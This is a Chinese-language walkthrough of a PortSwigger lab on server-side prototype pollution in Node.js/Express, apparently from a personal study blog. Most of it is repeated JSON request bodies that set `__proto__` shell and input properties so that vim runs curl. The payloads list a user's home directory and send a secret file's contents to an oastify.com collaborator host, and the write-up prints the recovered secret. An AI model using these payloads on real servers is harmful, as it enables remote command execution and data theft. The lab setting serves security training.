专家-服务端原型链污染-泄露敏感数据
# 实验室:通过服务端原型链污染泄露敏感数据
# 题目
此实验室基于 Node.js 和 Express 框架构建。它容易受到服务端原型链污染的影响,因为它不安全地将用户可控输入合并到服务端 JavaScript 对象中。
服务器的配置可能会污染Object.prototype
,随后你可以注入并在服务器上执行任意系统命令。
若要解决实验室问题,请
- 找到一个可以向全局
Object.prototype
添加任意属性的原型污染源。 - 确定一个可用于注入和执行任意系统命令的小工具。
- 触发远程命令执行,该命令将 Carlos 家目录(
/home/carlos
)中的内容泄露到公共 Burp Collaborator 服务器上。 - 将该目录中的秘密文件内容泄露到公共 Burp Collaborator 服务器上。
- 使用实验室横幅中提供的按钮,提交从文件中获得的密码。
在本次实验中,你已经获得了权限提升,使你能够访问管理功能。你可以使用以下凭据登录到自己的帐户:wiener
:peter
笔记
在测试服务端原型链污染时,很可能会破坏应用程序功能,甚至完全关停服务器。如果发生这种情况,你可以使用实验室横幅中提供的按钮,来手动重启服务器。请记住,在测试真实网站时,你不太可能有此选项,因此你应该始终谨慎行事。
- name: 实验室-专家
desc: 通过服务端原型链污染泄露敏感数据 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-exfiltrating-sensitive-data-via-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#d112fe'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
# 确认污染源
# 识别易受攻击的请求
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"eJoEp1jlM0UDCWnJlqwXdahnfMKvW3hH",
"__proto__":{
"shell":"vim",
"input":"! curl 7owz3qt3cxvc6lepcb2kx379l0rtfj38.oastify.com\n"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
# 通过vim的功能特性执行系统命令
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"eJoEp1jlM0UDCWnJlqwXdahnfMKvW3hH",
"__proto__":{
"shell":"vim",
"input":"! curl 7owz3qt3cxvc6lepcb2kx379l0rtfj38.oastify.com\n"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
# 内联执行系统命令,实现带外数据泄露
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"eJoEp1jlM0UDCWnJlqwXdahnfMKvW3hH",
"__proto__":{
"shell":"vim",
"input":"! curl `ls /home/carlos`.7owz3qt3cxvc6lepcb2kx379l0rtfj38.oastify.com\n"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"eJoEp1jlM0UDCWnJlqwXdahnfMKvW3hH",
"__proto__":{
"shell":"vim",
"input":"! curl `cat /home/carlos/secret`.7owz3qt3cxvc6lepcb2kx379l0rtfj38.oastify.com\n"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
0XrxjeHo8VoN8qqFUZlYUH8w2QzwS3VI
编辑 (opens new window)